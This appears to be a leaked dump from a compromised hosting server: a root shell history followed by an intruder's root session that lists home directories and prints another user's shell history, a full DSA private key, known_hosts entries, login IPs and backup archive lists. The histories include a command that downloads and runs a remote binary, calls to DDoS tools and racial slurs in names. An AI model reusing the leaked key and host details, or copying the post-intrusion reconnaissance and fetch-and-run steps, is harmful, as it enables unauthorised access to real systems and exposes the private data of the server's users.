ls
cd excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
dmesg
top
sh tuning*
top
clear
top
w
ls
cd /home
ls
cd excodeirc
ls
mkdir hightechhost
cd hightechhost/
ls
wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.18.tar.gz
ls
tar zxvf eggdrop1.6.18.tar.gz
cd eggdrop1.6.18
./configure
make config
make
ls
su excodeirc
chown excodeirc *
su excodeirc
w
ls
cd /home
ls
cd excodeirc
ls
cd hightechhost/
ls
cd eggdrop1.6.18
ls
ls -o
su excodeirc
ls
cd /
ls
cd home
ls
cd egg
ls
cd eggdrop
ls
su egg
uname -a
id egg
su egg
netstat | grep 33162
netstat
killall fight
netstat
killall fight
ps -aux
su egg
netstat
uname -a ; id egg
su egg
ls
cd /home/egg
ls
cd efnet/
su egg
w
w
ls
cat cores
ls
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/evilcode
ls
cd Unreal3.2/
ls
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/evilcode
ls
cd Unreal3.2/
ls
nano unrealircd.conf
./Config
make
./unreal stop
./unreal start
ps -aux | grep ircd
kill 3952
kill 10281
ps -aux
kill 12472
killall ircd
./unreal start
ls
./Config
make
./unreal start
cd $user
ls
mkdir newircd
cd newircd
ls
wget http://www.blurryfox.com/unreal/Unreal3.2.7.tar.gz
ls
tar xzf Unreal3.2.7.tar.gz
ls
cd Unreal3.2.7
ls
./Config
ls
cd /home
ls
cd evilcode/
ls
su evilcode
w
w
ps -aux | grep ircd
ls
cd /home
ls
cd evilcode/
ls
cd newircd/
ls
su evilcode
w
ls
cd /
ls
cd evilcode
ls
cd /home
ls
w
cd evilcode/
ls
w
netstat -a
la
ls
su evilcode
ls
su evilcoder
su evilcode
ls
who
cd /
cd /home
ls
cd evilcode
ls
cd newircd/
ls
cd Unreal3.2.7
ls
su evilcode
w
ls
cd /
ls
cd /home/evilcode
ls
cd newircd
ls
cd Unreal3.2.7
ls
nano unrealircd.conf
ls
cd /
ls
cd home
ls
cd excodeirc/
ls
cd Unreal3.2
ls
nano unrealircd.conf
./unreal stop
./unreal start
./unreal start
./unreal stop
nano unrealircd.conf
./unreal start
./unreal stop
uptime
./unreal stop
nano unrealircd.conf
w
passwd sn00ges
passwd sn00g3s
cat ircd.conf
cat ircd.log
netstat -a
nst
netstat -a
w
ls
w
cd /
ls
cd evilcode
cd /home
ls
cd evilcode/
ls
cd newircd/
su evilcode
csf -a 71.105.242.232 /etc/csf
last | grep root
nst
cat /boot/grub/grub.conf
cd /usr/src
ls
rm -rf linux*
wget sstdns.com/kernel.tar.gz
wget nix101.com/kernel.tar.gz
tar zxvf kernel.ta.gz
tar zxvf kernel.tar.gz
ln -s linux-2.6.24.3 linux
cd linux
rm -rf .config
wget sstdns.com/grsec
mv grsec .config
screen
w
ps -aux ; grep ircd
cd /home
cd evilcode
ls
su evilcode
w
ls
cd /
ps -aux
kill 19912
kill 11341
ps -aux
kill 11341
kill 11341
ps -aux
kilall fight
kill fight
kill 3534
kill 3537
kill 3540
kill 3543
kill 3546
kill 3549
ps -aux
kill 1439
kill 1499
ps-aux
ps -aux
w
ddos
netstat -a
ls
ls home
cd home
ls
ls pvannet
ls pvannet/public_html
ls
ls aosw
ls aosw/public_html
csf -a 63.173.63.241 /etc/csf
nano /etc/csf/csf.deny
ping 63.173.63.241
tracert 63.173.63.241
ls
w
cd /home
ls
cd g00ns83
ls
ls public_html/
ls
cd /
ls
cd home
ls g00ns83/backup
mv g00ns83/backup/oldlayout g00ns83/public_html
w
cd /home/evilcode
cd newircd/
su evilcode
ddos
syn
netstat
netstat -a
ddos
ddos 10
ls
csf -r
ls
nano /etc/csf/csf.deny
ls
cd /
l
ls
cd /
ls
cd /evilcode
ls
cd /home/evilcode
ls
cd newircd/
ls
cd Unreal3.2.7
su evilcode
w
cd /
cd /home
ls
cd evilcode/
ls
cd newircd/
ls
cd Unreal3.2.7
ls
su evilcode
ls
cd ../../
ls
ls evilcode
ls
ps -aux
ls
cd /home
ls
cd evilcode
ls
cd Unreal3.2
ls
ps -aux
ls
su evilcode
cd /home/evilcode
ls
cd newircd
ls
cd unreal3.2.7
cd Unreal3.2.7
ls
su evilcode
ls
w
cd /
ls
cd /home
cd evilcode/
ls
cd newircd
l
ls
cd Unreal3.2.7
ls
su evilcode
ls
cd /
ls
cd home
ls
cd excodeirc/
ls
mv Unreal3.2 privateirc
ls
mv privateirc/ Unreal3.2
cp Unreal3.2 privateircd
ls
cp Unreal3.2 privateircd
ls Unreal
ls Unreal3.2
su excodeirc
ls
cd /
cd /home
ls
cd egg/
ls
cd eggdrop
ls
nano v0ltr0n.conf
nano v0ltr0n.chan
./eggdrop-1.6.18 v0ltr0n.conf
su egg
w
passwd g00ns83
w
ls
cd /
su
ls
make install
su sixtyz
su sixtyz
ls
cd /home/sixtyz
ls
mkdir wee
cd wee
su sixtyz
ls
su sixtyz
ls
cd /
su sixtyz
su sixtyz
ls
cd /
ls
cd /home
ls
cd g00nsts395/
ls
cd ts
ls
su g00nsts395
ls
ps -aux
cd /home
ls
cd evilcode
ls
cd newircd
ls
cd Unreal3.2.7
ls
nano unrealircd.conf
su evilcode
up
last
last / grep root
cd /var/log/httpd/domains
ls
cat g00ns.net.log | grep 403
cat g00ns.net.log
cat g00ns.net.log | grep http
cat g00ns.net.log | grep regime
cat g00ns.net.log | grep c99
cat g00ns.net.log | grep shell
cat g00ns.net.log | grep 406
cat g00ns.net.log | grep 403
htc
cat g00ns-forum.net.log | grep 403
[root@demon2 ~]# ls -al .ssh
total 24
drwx------ 2 root root 4096 Feb 10 12:55 .
drwxr-x--- 14 root root 4096 Mar 27 16:14 ..
-rw------- 1 root root 668 Jul 31 2007 id_dsa
-rw-r--r-- 1 root root 612 Jul 31 2007 id_dsa.pub
-rw-r--r-- 1 root root 2630 Apr 14 11:40 known_hosts
[root@demon2 ~]# cat .ssh/*
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCr+zFL0Hd8ONiBNi9HwL/rgZcyIi/cHbbhZ/Sra2AaDfSFivL5
XmtmaFgSVPbxCLWgxCtM8E8MGX/T/c/A2EFwqHfXgjLAyMNBuKDfumVYMwH51smL
u5FrJhjt4qRgPnnG3W5Y1BkyoX28HvgnYHVNIGXcXe7GTutcIyGrrmYDNQIVAIKN
sRm7Oi3Ql4Nc9/R997aQiZpNAoGAeDuTtliW+zn9ki5EKTVZCTM0EhGxarDF8JOz
6JPfAlCpHEBtpNkQwmM1Gi8/XHPmAfDnNV0Na02XruhNk1UnWITBlqdU73Q413zx
LkWtyoPLECz2ySjpbTtatkcOTlDKroyZBxBEZPd3zLNClWfKAbW3mj02Pp5eMA11
eSfZoV8CgYAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+
n/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJp
xp6T7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbAIUeUGslYXH
8q7BsyrkvGrDpQAhjSI=
-----END DSA PRIVATE KEY-----
ssh-dss AAAAB3NzaC1kc3MAAACBAKv7MUvQd3w42IE2L0fAv+uBlzIiL9wdtuFn9Kt
rYBoN9IWK8vlea2ZoWBJU9vEItaDEK0zwTwwZf9P9z8DYQXCod9eCMsDIw0G4oN+6ZV
gzAfnWyYu7kWsmGO3ipGA+ecbdbljUGTKhfbwe+CdgdU0gZdxd7sZO61wjIauuZgM1A
AAAFQCCjbEZuzot0JeDXPf0ffe2kImaTQAAAIB4O5O2WJb7Of2SLkQpNVkJMzQSEbFq
sMXwk7Pok98CUKkcQG2k2RDCYzUaLz9cc+YB8Oc1XQ1rTZeu6E2TVSdYhMGWp1TvdDj
XfPEuRa3Kg8sQLPbJKOltO1q2Rw5OUMqujJkHEERk93fMs0KVZ8oBtbeaPTY+nl4wDX
V5J9mhXwAAAIAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+n
/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJpxp6T
7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbA==
root@server.domain.com
72.20.5.94 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAz6mhC9bjyFZ4EYXzRu2C
Z8QLdxeSm9z5Y4svIrDM7xWD11MsWArRV6FAdb29NKCTVGu4Bn/jZmvjzG0W8mSd1b4
AzdOm/T24+nGdfgKujuTonEHO3xMPomTdvmYsKYgn7JYboa5meUXD2hJJZ/nZUq2aSe
7ByYsS5vCEsBHGIv0=
69.42.223.17 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8MbaIB8gbYx6GMEEO
jwSfkeq4n/8c5erPuGuQH/oJUkU6DD1KDkqKwptS4PkiAMZVV93tU/VBo3MT1i0YVQl
TRWyg8sKuwsNv0f0x0day2qsoz0lSNYnjKXWYLqT1qryv1slI4BXuQB1jhr5dARBmVL
+YCNx6OSxvt7Q9m0JwtTqQayOm6Zcab/H3pm97nrYKRRxX3ikdXJdnekCwJw5BPZcyp
dqLlowB9hbVijWVnVZAYg96HssBRR6WxxNAPOLmCj/8bx4fLnNHu2F9tLdcNyzGMUuD
bLxYI+06Nwtk3fovpKwo+b/DmfcHaF4Lkm96pWpuhc6oduxh6ySvlviw==
halturnershow.com,208.53.158.3 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA
7ry8evVeuNNH0+p9VXPMqqPgp9NjMx/EDUj7hnGwreKYWyCybTitmpGgTDFTuu8YZGA
r+ssHoF2FMkr1lTF82IIsMx+EXMkoQJ0/SvMBO/gJiIsBRTU13n6Ad8FQZBCBez0dkz
RI0msupnbWnytPvqu9j0/pErPzaGWrINB+6N63Cs241GU6Lt8EG6RX4UVgBTSm8aold
+Ixpy+lmwTh3CNJu5zFtoCmmg7rCiQ7sn8ci4Rqq6YzV7LhzRyIiGRzH448v3/dDaUa
f2ENIvycEz27ZezeB2g5B5icTPH+VQNhqTohEtoQec0vHqA9CzSExXufDlS4is+F7dJ
LcA0Tnw==
74.86.141.218 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuSVqCiY8KhmN3OHYH
lu03zkoGIMIGQPaM0bM6alUQPl7H7iAF9WOqaQ7OjpsBxvQO7/tchkP9Azy40W428OK
gg61XDrJoy/fBnOXAmvAKj42N7l3engj9P7MN229DDH0ygM/o1ykP7bob5MZx5BSzFu
DYaQtK+OhuhbsNiXOGCtIXPQ6XLRSo72GKoFzT4Y1Kc/Pux0lXrA7JrX8cOw24TgkQ1
4Xh9vWRUXnxlq2HkrLT2VPrJ50Rl4feDSScqGyvXtQDuWrIsLdk5sA9EhIIqYbYsJUU
oHcIh30tOyOUoPcg3KTbk7gcInMGl3k7IOTZHI17wqOiNu1qIWYcGr1Tw==
apu.711chan.org,89.46.37.242 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnv
nw1ZMHvmPzZ1cNLYwYYmUWVw5xncnMe/S/yyTwQ23kpDf6Ut0z/wpKeQd+m3XTiwzDU
NsKLdIkUpZLucbqjBE1XlNF9pHqKqX1j5rvZN/rCNREdJkChWk2KRddSdBOg/Oc81tl
OX6Fjv9zLglbo2y7Ojqx2eML/zifxTTTF82V0czG/bsXdtdhcW4JtVXVoN1iUcvEvZK
AyEN41N/OZDAqUGaEYAjqDpmI/JJM3uCKDl1qelt0iuWZLEOivUp6emnjiQNPKF4Sb1
silje6uETSsjK/n8mIi1YmO/KNRg+MM9LQ2EWe/cS+xAJwyeDT9WiY/k867FjlXxIBP
cu3Lw==
[72.20.6.22]:5000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvmD6suMeQqo2o
NRg9p4nzWttZZfLC1Uhmmnv/Y7YyQRjvBBjr5rAPdbfLxY6nsc4/f6JDmwNKdIn0j6L
AcjFak/kuf7rAJwcolrsRxm4C5LH89D+r32t7guOI9hPgA0R38N7k7q2ykQlDNGyuMJ
p+1UXSAe8t0E+2VSgrr173rqNe+1oRaPWHcUdwoN9O+VmTVg+uS+cvlLSVue8BrUCZS
vcDAOdMXeSOos7kibaQ181juAjHp+xEHd0zfdQxzItP9mMz0lqnY+J/miHuu6sm4G3E
7WEXBLFjaTIZx3OzEg3eDBKpK8EYzXkYY5aq4eNNfCmqZqWdjnEBUwNCxrKGQ==
[72.20.6.190]:9000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAneqXXAJ+LhaK
Kc6z2ugq1C6CojO0ylJCaZaO9WCL1CfstSGVBaEgYUq7qk7MtgGq71IIHuaYTE5KoXR
6l8P+pZaONa/2vSCbmdOg7q/9xBQwmuXC8zKEnR7IqPqYL5idFioGV1G2dWYMTFJySQ
MPI96jW1a4iu5AL61zC2WEr9f8jDjGQ8+FTx8u7zX8GEaEJAQQEr99CpDq29jp7pKNF
BOSo9OW5mDJt2Q8NOotExSdEkmkxrEBcOFshfiEmY99lm4QCjOFVDSxdH5s0VNKdYu0
FBfMRlEh+UXFtL29BuEQUZnMwqU2NqCJknQ1gQawn8pQfYkpf4vBsu/h4/p2ow==
[root@demon2 ~]# cd /home
[root@demon2 home]# ls -al
total 252
drwx--x--x 50 root root 4096 Mar 27 16:19 .
drwxr-xr-x 27 root root 4096 Mar 11 00:10 ..
drwx------ 2 40zzz 40zzz 4096 Dec 21 21:57 40zzz
drwx--x--x 17 admin admin 4096 Feb 11 22:44 admin
drwx--x--x 6 alliancedn alliancedn 4096 Aug 1 2007 alliancedn
drwx--x--x 8 aosw aosw 4096 Aug 1 2007 aosw
-rw------- 1 root root 13312 Apr 21 05:01 aquota.group
-rw------- 1 root root 13312 Apr 21 05:01 aquota.user
drwxr-xr-x 3 root root 4096 Jan 14 00:10 asbestos
drwx--x--x 9 barnseo barnseo 4096 Mar 5 23:19 barnseo
drwx--x--x 6 bnc bnc 4096 Aug 8 2007 bnc
drwx--x--x 6 bored bored 4096 Aug 1 2007 bored
drwx--x--x 6 churc0 churc0 4096 Aug 1 2007 churc0
drwx--x--x 6 connors connors 4096 Aug 1 2007 connors
drwx------ 3 cstest cstest 4096 Dec 11 17:29 cstest
drwx------ 2 cunt cunt 4096 Mar 13 17:26 cunt
drwx--x--x 5 dougie dougie 4096 Dec 20 16:28 dougie
drwx--x--x 10 egg egg 4096 Mar 23 11:26 egg
drwx--x--x 6 every every 4096 Aug 1 2007 every
drwxr-xr-x 9 evilcode evilcode 4096 Mar 25 13:40 evilcode
drwx--x--x 25 excodeirc excodeirc 4096 Apr 14 22:26 excodeirc
drwx--x--x 6 exploiterc exploiterc 4096 Dec 15 13:10 exploiterc
drwx--x--x 7 felosi felosi 4096 Feb 10 12:51 felosi
drwx--x--x 6 felosii felosii 4096 Aug 1 2007 felosii
drwxr-xr-x 2 root root 4096 Apr 22 2007 ftp
drwx--x--x 9 g00ns83 g00ns83 4096 Apr 18 21:47 g00ns83
drwx--x--x 10 g00nsts395 g00nsts395 4096 Apr 16 19:57 g00nsts395
drwx--x--x 7 grumpy grumpy 4096 Aug 1 2007 grumpy
drwx--x--x 4 hackrad hackrad 4096 Aug 2 2007 hackrad
drwx--x--x 5 hanon hanon 4096 Mar 23 16:25 hanon
drwx------ 2 silc silc 4096 Jan 4 23:12 help
drwx--x--x 7 hthhost hthhost 4096 Dec 30 14:59 hthhost
drwx------ 2 ident ident 4096 Feb 1 00:01 ident
drwx--x--x 7 illmob illmob 4096 Apr 1 04:21 illmob
drwx--x--x 5 lost lost 4096 Feb 19 19:07 lost
drwx------ 2 root root 16384 Jul 31 2007 lost+found
drwx--x--x 6 mycorp mycorp 4096 Aug 2 2007 mycorp
drwx--x--x 8 party party 4096 Mar 7 18:20 party
drwx--x--x 5 partyvan partyvan 4096 Jan 1 15:04 partyvan
drwx--x--x 7 pingyill pingyill 4096 Aug 1 2007 pingyill
drwx--x--x 5 564 565 4096 Mar 9 11:56 pr0be
drwx--x--x 5 pvannet pvannet 4096 Mar 26 19:13 pvannet
drwx--x--x 6 ragedns ragedns 4096 Aug 2 2007 ragedns
drwx--x--x 6 rageserver rageserver 4096 Aug 1 2007 rageserver
drwx--x--x 6 robo robo 4096 Aug 1 2007 robo
drwx--x--x 15 shoutcas shoutcas 4096 Aug 6 2007 shoutcas
drwx------ 3 silc silc 4096 Jan 18 16:08 silc
drwx--x--x 7 sixtyz sixtyz 4096 Apr 16 19:09 sixtyz
drwx--x--x 10 sn00g3s sn00g3s 4096 Apr 3 01:33 sn00g3s
drwxrwxrwt 2 root root 4096 Apr 21 00:10 tmp
drwx------ 5 tribal tribal 4096 Mar 26 07:36 tribal
drwx--x--x 6 void void 4096 Aug 1 2007 void
[root@demon2 home]# lastlog | grep -v Never
Username Port From Latest
root pts/1 74-34-107-191.ds Mon Apr 21 03:44:04 -0700 2008
barnseo pts/1 86.121.190.64 Wed Mar 5 23:05:21 -0800 2008
bnc pts/1 78.129.174.155 Sat Apr 19 20:27:10 -0700 2008
partyvan pts/5 cpe-76-174-156-5 Tue Jan 1 15:27:39 -0800 2008
[root@demon2 home]# cd 40zzz
[root@demon2 40zzz]# ls -al
total 24
drwx------ 2 40zzz 40zzz 4096 Dec 21 21:57 .
drwx--x--x 50 root root 4096 Mar 27 16:19 ..
-rw-r--r-- 1 40zzz 40zzz 24 Dec 21 21:57 .bash_logout
-rw-r--r-- 1 40zzz 40zzz 176 Dec 21 21:57 .bash_profile
-rw-r--r-- 1 40zzz 40zzz 124 Dec 21 21:57 .bashrc
[root@demon2 40zzz]# cd ../admin
[root@demon2 admin]# ls -al
total 119196
drwx--x--x 17 admin admin 4096 Feb 11 22:44 .
drwx--x--x 50 root root 4096 Mar 27 16:19 ..
lrwxrwxrwx 1 root root 21 Sep 13 2007 admin_backups -> /backup/admin_backups
drwxrwxr-x 2 admin admin 4096 Aug 1 2007 admin_backups1
drwx------ 2 admin admin 4096 Aug 1 2007 backups
-rw------- 1 admin admin 5774 Feb 11 22:50 .bash_history
-rw-r--r-- 1 admin admin 304 Apr 27 2006 .bash_logout
-rw-r--r-- 1 admin admin 191 Apr 27 2006 .bash_profile
-rw-r--r-- 1 admin admin 124 Apr 27 2006 .bashrc
-rw-rw-r-- 1 admin admin 6090 Jul 2 2007 da.cpanel.import.9beta1.tar.gz
-r--r--r-- 1 admin admin 20320 May 26 2007 da.cpanel.import.pl
-rwxr-xr-x 1 admin admin 272 Aug 6 2007 defaults.conf
drwxr-xr-x 9 admin admin 4096 Jul 4 2007 domains
drwx------ 2 admin admin 4096 Sep 29 2007 .elinks
-rw-r--r-- 1 admin admin 383 Apr 27 2006 .emacs
drwxr-xr-x 4 admin admin 4096 Aug 1 2007 ex
drwxrwxr-x 2 admin admin 4096 Oct 11 2007 export
drwxrwx--- 5 admin admin 4096 Aug 1 2007 imap
drwxrwxr-x 2 admin admin 4096 Oct 11 2007 import
drwx------ 2 admin admin 4096 Aug 1 2007 mail
drwxrwxr-x 2 admin admin 4096 Jan 4 2007 .mc
drwxr-xr-x 6 admin admin 4096 May 15 2006 modsecurity-apache_1.9.4
-rw-rw-r-- 1 admin admin 496805 Jan 11 2007 modsecurity-apache_1.9.4.tar.gz
-rw------- 1 admin admin 419 Sep 29 2007 .nessusrc
drwxr-xr-x 2 admin admin 4096 Jul 3 2007 public_html
-rw-r--r-- 1 admin admin 55412 Jul 3 2007 rulezz.conf
-rw-r----- 1 admin mail 34 Jun 29 2007 .shadow
drwx------ 2 admin admin 4096 Aug 1 2007 .ssh
-rwx------ 1 admin admin 8515 Feb 10 15:41 t
-rw-r--r-- 1 admin admin 213250 Aug 1 2007 user.admin.alliancedn.tar.gz
-rw-r----- 1 admin admin 120993882 Aug 1 2007 user.admin.sn00g3s.tar.gz
drwx--x--x 2 admin admin 4096 Dec 8 10:00 user_backups
drwxr-xr-x 3 admin admin 4096 Sep 29 2007 webmail
[root@demon2 admin]# cat .bash_history
cd
cd user_backups
ftp premshells.com
ping rst-crew.net
exit
cdf
cd
cd user_backups
ftp premshells.com
uptime
nst
exit
cd
cd userbackups
cd user_backups
ftp blackhat-hosting.com
exit
ftp black-hosting.com
ftp blackhat-hosting.com
updatedb
exit
nano -w /etc/apf/deny_hosts.rules
exit
cd user_backups
cd
cd user-backups
cd user_backups
ls
cp rosec.tar.gz /home/admin/domains
cd /home/admin/domains
ls
mv rosec.tar.gz cpl.alliancedns.com
cd cpl.alliancedns.com
mv rosec.tar.gz public_html
exit
cd
mc
chmod 644 rosec.tar.gz
exit
cd
ls
rm -rf backup user_backups
mkdir /home/admin/admin_backups
ping zone-h.org
exit
cd
ls
ls
mkdir user_backups
cp *.tar.gz user_backups
exit
cd
chmod 755 domains
ls -la domains
exit
cd
chmod 755 domains
cd
exit
cd
ls
mv *.tar.gz user_backups
ls
ls user_backups
exit
crontab -e
exit
cd
ls
ls admin_backups
rm -rf admin_backups
cat /etc/hosts
ls
mkdir admin_backups
exit
cd
cd admin*
ls
ls
ls
exit
cd
ls
cd admin*
ls
rm -rf */tar.gz
ls
rm -rf *tar.gz
ls
exit
cd
cd admin*
ls
cat /etc/hosts
exit
cd
ls
mv user.admin.aosw.tar.gz admin_backups
ls admin*
ls -la admin*
top
exit
cd
ls
rm -rf backup-8.1.2007_11-19-41_g00ns83.tar.gz
wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz'
wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz
tar zxvf da.cpanel.import.9beta1.tar.gz
nano -w defaults.conf
exit
nano -w defaults.conf
chmod 755 defaults*
nano -w defaults.conf
mkdir import export
rm -rf import
mv cp import
ls
perl da.cpanel.import.pl
mkdir user_backups
perl da.cpanel.import.pl
ls user*
ls -la export
cd
ls
cd export
ls
rm -rf niggerma.tar.gz sevenz.tar.gz
mv *.tar.gz ../user_backups
ls
cd ..
ls -la user_backups
exit
cd
ls
ls -la
rm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gz
ls import
cd import
ls -la
rm -rf backup*
ls -la
ls -la
ls -la
ls -la
exit
cd
ls -la
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
rm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gz
ls
ddos
exit
cd
cd import
ls
ls
cd
wget nix101.com/mod.tar.gz
wget http://www.modsecurity.org/download/modsecurity-apache_1.9.4.tar.gz
tar zxvf modsecurity-apache_1.9.4.tar.gz
cd mod*
cd apache1
apxs
apxs -cia mod_security.c
yum install httpd-devel
exit
cd
cd import
ls
exit
cd
cd import
ls
cd
ls
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
nst
exit
cd
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
exuit
exit
cd
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
exit
/cd
ls
perl da.cpanel.import.pl
cd export
ls
mv g00ns* ../user_backups
ping demon2.rage-servers.com
cd
cd /backup
ls
nano test
rm -rf test
exit
cd
ls
ls backup
rm -rf backup
top
exit
su admin
id
cd
ls
ls export
exit
cd
cd import
ls
rm -rf *.tar.gz
ftp 209.200.50.124
ls
rm -rf back*
cd
cd import
ftp 209.200.50.124
quit
ftp 209.200.50.124
cd
ls
nano -w defaults.conf
perl da.cpanel.import.pl
ls export
cd import
ls
cd
cd export
ls
cp shoutcas.tar.gz ../user_backups
cd /home/shou*
exit
cd
ls
ls -la export
ls -la user_backups
exit
cd
csf -a 72.20.1.46
exit
cd
ftp 72.20.1.46
ls
mv your* user_backups
exit
cd
cd domains
ls
cd premshells.com
ls
cd public_html
ls
exit
cd
cd domains
cd prem*
wget protectedhost.com/stat.tar.gz
tar zxvf stat*
LS
ls
tar zxvf stat.tar.gz
mv status public_html
cd
cd domains
ls
cd premshells.com
cd public_html;
wget http://enterprise.bidmc.harvard.edu/pub/nessus-php/nessus-php-0.7.tar.gz
tar zxvf nessus-php-0.7.tar.gz
mv nessus-php-0.7/ nes
links http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386
.rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4
wget http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386.
rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4
rm -rf index.html.1
killall links
wget shitonkikes.com/Nessus-3.0.6-es5.i386.rpm
rpm -i Nessus-3.0.6-es5.i386.rpm
exit
exit
./configure
cd /opt
ls
cd ness*
ls
ls sbin
sbin/nessus-adduser
exit
cd
cd import
ftp cp2.secureservertech.com
cd ..
ls
nano -w defaults.conf
ls import
rm -rf import/backup-8.6.2007_22-02-36_shoutcas.tar.gz
perl da.cpanel.import.pl
ls export
cp export/stockegg* user_backups
ls user-Backups
ls user_backups
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
service named restart
exit
cd
cd user_*
ls
ftp sst0.com
cd
cd user_*
ls -la aryan88*
ftp sst0.com
exit
cd
cd user_*
ftp sst0.com
cd
ls
exit
cd
ls
wget fearlesshost.com/t
chmod 700 t
./t
exit
[root@demon2 admin]# ls -al .ssh
total 12
drwx------ 2 admin admin 4096 Aug 1 2007 .
drwx--x--x 17 admin admin 4096 Feb 11 22:44 ..
-rw-r--r-- 1 admin admin 220 Aug 1 2007 known_hosts
[root@demon2 admin]# cat .ssh/*
72.20.1.46 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA6qCFv8UowWc3dcRnWqzz4tPsx4Glt
EUA4rRmt/tsP0T4bsddMuF0yYvaSHVAZNjZwfup0heDh/cCs08AiGlKDL3yvNO4nTa/sXKr1AJ0W
dg0GMnhT+D0Mu8PXdCKhIfPZLsaW5p45WYmwy6afKxM20wZNVKw3YTXJweFE6n0s9M=
[root@demon2 admin]# ls -al /backup/admin_backups
total 28936116
drwxr-xr-x 2 admin admin 4096 Dec 30 16:49 .
drwxr-xr-x 6 admin admin 4096 Feb 1 03:03 ..
-rw-r----- 1 admin felosi 11560 Sep 14 2007 admin.admin.felosi.tar.gz
-rw-r----- 1 admin admin 11404750600 Dec 18 21:28 admin.root.admin.tar.gz
-rw-r----- 1 admin admin 35395367 Aug 11 2007 reseller.admin.aaatrans.tar.gz
-rw-r----- 1 admin 535 2166835881 Sep 14 2007 reseller.admin.bwhost.tar.gz
-rw-r----- 1 admin 503 27875 Sep 14 2007 reseller.admin.llythexic.tar.gz
-rw-r----- 1 admin 549 8597301 Sep 14 2007 reseller.felosi.brinkhos.tar.gz
-rw-r----- 1 admin 552 5638521 Sep 14 2007 reseller.felosi.burn.tar.gz
-rw-r----- 1 admin alliancedn 264984 Dec 30 16:29 user.admin.alliancedn.tar.gz
-rw-r----- 1 admin aosw 541773752 Sep 14 2007 user.admin.aosw.tar.gz
-rw-r----- 1 admin 532 28274761 Sep 14 2007 user.admin.aryan88.tar.gz
-rw-r----- 1 admin 538 518730829 Dec 30 16:29 user.admin.asbestos.tar.gz
-rw-r----- 1 admin barnseo 16041617 Dec 18 21:29 user.admin.barnseo.tar.gz
-rw-r----- 1 admin bnc 2082640 Dec 30 16:29 user.admin.bnc.tar.gz
-rw-r----- 1 admin bored 3830711 Dec 18 21:29 user.admin.bored.tar.gz
-rw-r----- 1 admin churc0 4341166 Dec 18 21:29 user.admin.churc0.tar.gz
-rw-r----- 1 admin connors 652449 Dec 18 21:29 user.admin.connors.tar.gz
-rw-r----- 1 admin dougie 5454961654 Dec 30 16:37 user.admin.dougie.tar.gz
-rw-r----- 1 admin 558 20340587 Dec 18 21:37 user.admin.earn.tar.gz
-rw-r----- 1 admin egg 5530647 Dec 30 16:37 user.admin.egg.tar.gz
-rw-r----- 1 admin every 323268270 Dec 30 16:37 user.admin.every.tar.gz
-rw-r----- 1 admin evilcode 1607382248 Dec 30 16:40 user.admin.evilcode.tar.gz
